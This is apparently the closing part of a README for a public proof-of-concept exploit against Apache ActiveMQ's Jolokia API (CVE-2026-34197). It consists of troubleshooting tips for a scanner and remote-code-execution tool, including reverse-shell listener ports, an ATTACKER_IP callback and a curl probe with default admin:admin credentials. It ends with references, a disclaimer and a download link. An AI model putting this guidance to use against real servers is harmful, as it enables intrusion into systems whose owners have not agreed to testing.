No output received within 10sTarget lacks curl and wget, or command has no stdoutRCE still worked — use a reverse shell for full interaction
Output capture shows empty resultCommand produced no output (e.g., touch /tmp/test)Expected for commands with no stdout; use ls /tmp/test to verify
OSError: Address already in use on port 8888Another process or previous run is using the portUse -lp 9999 (or any free port), or kill the blocking process
version_check.py Phase 1 is slowToo few threads or high network latencyIncrease --threads 20 or --threads 30
version_check.py shows [VULNERABLE] but Phase 2 failsTarget can't reach your IP, or firewall blocks outbound HTTPVerify ATTACKER_IP; try --wait 30 for slow networks

References

ResourceLink
NVDCVE-2026-34197
Horizon3 ResearchTechnical Analysis
Apache AdvisorySecurity Advisory
Related CVECVE-2024-32114 — Jolokia No Auth
Related CVECVE-2023-46604 — OpenWire RCE

Disclaimer

[!WARNING] This proof-of-concept is provided strictly for educational and authorized security research purposes. Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal. The author assumes no liability for misuse.


GitHub Telegram

Developed with expertise by KONDOR DEV SECURITY CORP
MIT License © 2026

Download Tool
version_check.py shows No Jolokia for all targetsJolokia API is disabled or on a non-standard pathVerify manually with curl -u admin:admin http://TARGET:8161/api/jolokia/